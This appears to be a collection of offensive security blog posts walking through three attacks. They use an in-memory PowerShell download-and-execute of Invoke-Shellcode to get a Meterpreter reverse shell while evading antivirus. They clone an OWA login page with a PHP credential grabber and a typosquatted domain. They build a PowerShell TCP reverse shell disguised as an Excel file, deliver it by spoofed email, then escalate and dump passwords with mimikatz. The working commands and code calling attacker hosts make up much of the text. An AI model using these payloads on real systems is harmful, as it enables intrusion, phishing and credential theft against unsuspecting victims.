Evading Antivirus + Reverse Meterpreter Shell

The below steps can help us evade antivirus software on the victim’s Windows box as we setup a meterpreter shell back to our server across the Internet.  This technique works extremely well because nothing is downloaded to the victim’s computer and uses only Powershell on the victim’s machine.

The most difficult part is executing the Powershell code (seen below) on the victim’s computer but a good tactic to consider would be to embed the code into a macro enabled Excel document (if you don’t have internal access) or injecting a malicious executable into the victim’s packet stream after a MitM type attack on the LAN (mitmproxy, back door factory, etc). Obviously, there are lots of methods for delivering the payload, which are not covered here.

On our Internet facing Ubuntu box (with Metasploit installed), we run the following command:

./msfconsole -x “use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST; set PORT 8443; run”

This will one-liner will fire up Metasploit while also setting up the multi handler we need to catch the meterpreter payload coming from the victim. We also need to make sure we have port 8443 (in this example) forwarded to our box.



The code to run on the victim’s PC is below.  In this example, I’ve opened a command prompt window and pasted in the necessary code:

powershell -nop -windowstyle hidden -NonInteractive -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1 ‘);invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost 52.37.4X.XXX -Lport 8443″

The below Powershell command will use Powershell to download and execute Invoke-Shellcode all within memory with no files being written to disk.  This is how we are able to evade most antivirus software.


We see on our Metasploit box that we now have an incoming connection and that we’re easily able to obtain our shell:




OWA Website Clone + Credential Grabbing

The purpose of this post is show the necessary steps for cloning an Outlook Web Access (OWA) website and then modifying the cloned website’s code so that the inputted credentials are captured and written to a file when someone attempts to log in. A cloned OWA portal is a good method for obtaining the first set of user login credentials to a network…since the OWA creds will be the same creds needed to login to the Windows network. Once you gain credentials, you may be able to gain access to the internal LAN via Active Directory integrated VPN access, wireless access if WPA2 Enterprise is used, etc.

Before I get started, I need to a place to host the site that I want to clone.  For this example, I’m using an AWS Ubuntu server, running Apache Web Server. Installing Apache is not covered here but the below command will get you most of the way there:

apt-get install apache2 apache2-doc apache2-utils

Once Apache is installed, I need to install httrack. This tool will be used for copying/clone the site. Install by running the below command:

apt-get install httrack

Once httrack is installed, I can clone the site.  For this example, I googled and found and chose a randomly publicly accessible 2013 OWA site at https://mail.h01.hostedmail.net/owa.


Before cloning the site, you’ll need to create a place to store it.  I’ve created a new folder named “owa-2013”.  Run the following command:

httrack https://mail.h01.hostedmail.net/owa  -O “/var/www/html/owa-2013/”  -%v -%f


Httrack inserts advertising junk into index.html. To eliminate the advertising that comes with using httrack, run the following commands:


The above commands basically just move logon5b91.html to the root of owa-2013 and renames that file to index.html so that it’s loaded when you visit the URL/owa-2013.

Since I’m doing this example at AWS, I need to create a couple of rules that allow incoming http and https traffic on ports 443 and 80 to my server.


I should now be able to visit the cloned site by visiting the Public IP address of my AWS server/owa-2013.  Since I have domain registered that points to my AWS Public IP, I can browse to https://www.shellgam3.com/owa-2013 to view the cloned site. Note: I’ve setup a certificate on the domain to eliminate the security warning.  In order to purchase/setup a certificate, you’ll need to configure https for Apache and register a domain name. Alternatively, you can also host an encrypted version of the site (http), which eliminates the need for a certificate.


Now that I’ve confirmed that the site is publicly visible, I need to rework the source code so that credentials are captured when someone enters them at the website. First, I need to create a PHP file called post.php in /var/www/html/owa-2013 that contains the below code:

<?php $file = ‘creds.txt’;file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv=”refresh” content=”0; url=https://mail.h01.hostedmail.net/owa”>

Credentials will be written on POST (when the user clicks “sign in”) to the file named creds.txt. After that, the site visitor will be redirected to the actual OWA site that I cloned.  This is important in order to eliminate suspicion.

Now I must modify index.html. Find the line that looks like this:


And replace it with:


Once completed, credentials should be written to creds.txt when someone attempts to login.


When doing something like this on an pentest engagement, consider registering a domain name that is very similar to the organization’s domain name.  For example, if their domain name was firstnationalco.com, you could register firsttnationalco.com in hopes that the target(s) wouldn’t notice the difference.

How to trick someone into viewing the cloned site is not covered here but consider an social engineering email campaign.

Netcat Reverse Powershell Shell Across The Internet + Privilege Escalation

Outlined below is a technique for building and delivering a trojan to a victim in hopes that he or she will run the infected file and ultimately give us a reverse shell across the Internet.  There are lots of ways to deliver a payload and we’ve chosen to use email as the delivery method in this example.

For this POC, we have a Ubuntu server hosted at AWS.  This server will be hosting the malicious file and running the netcat listener. We have already installed apache and the installation/config is not covered here (sorry).

To start, we need to setup a port forwarding rule in the AWS console for all inbound TCP traffic coming in to our VM on port 31337.


We now need to take our Powershell code and compile it as an executable.   The code is  below.  When executed, it should connect back to our AWS instance’s public IP on port 31337 and give us our reverse shell. When run, it should also open Excel on the victim’s computer.

Add-Type -Name win -MemberDefinition ‘[DllImport(“user32.dll”)] public static extern bool ShowWindow(int handle, int
state);’ -Namespace native
[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle,0)
Invoke-Item “C:\Program Files\Microsoft Office\Office15\excel.exe”
Set-Location c:\windows\system32
$client = New-Object System.Net.Sockets.TCPClient(“AWS_Public_IP_Goes_Here”,31337);$stream = $client.GetStream();[byte[]]$bytes =
0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback +
“PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,

We used PowerGUI Script Editor for compiling and also for setting the .ico file to be the default that you’d normally see used when opening .xlsx (Excel) documents.


The malicious file is now ready to be uploaded to our Ubuntu server.  We used SCP to deliver the file to /var/www/html/files:


Once that is complete, we need to  setup a netcat listener on the same port as above (31337):


Now it’s time to deliver the file. We have other posts on how to spoof emails and reply-to headers, and it’s assumed there is familiarity with the social engineering aspect of sending convincing emails. If you use an email client like Outlook (for example), you can take advantage of it’s HTML capabilities as depicted below.


When the recipient receives the email, it should/could look similar to the below.


When viewed in Windows Explorer, depending on settings the malicious file could/should look something like the below.  The “giveaway” is that the file is listed as an “application” in the “type” column; however, the hope is that the icon and lack of file extension will make this file look like a regular Excel file enough to get the victim to click on it.


When the file is executed, it should (hopefully) create a reverse shell back to the AWS instance.  If we switch back to our Ubuntu box, we should see an incoming connection from the victim’s network.


From here, to obtain our shell, just type something/anything (like the word “shell”) or press enter a couple of times. (see below):



With our new Powershell shell, we can execute any commands that one would/could normally run from a Powershell prompt.


During a pentest engagement the goal is usually privilege escalation.  With our shiny new shell, we can issue the below command and see that our target is also a local administrator on their box.


Despite our shell running as a user with limited privileges, we now know that our victim has the ability to run commands in an escalated fashion. For example, we may choose to leverage their access to attempt to dump passwords from memory:



The above command will download mimikatz and run it in memory so that it can function without being detected by AV.  It will also run as a local administrator (which is required) and dump all of the output into a text file of our choosing.


Using the “type” command, we can view the file’s contents and see that we’ve successfully dumped passwords from memory.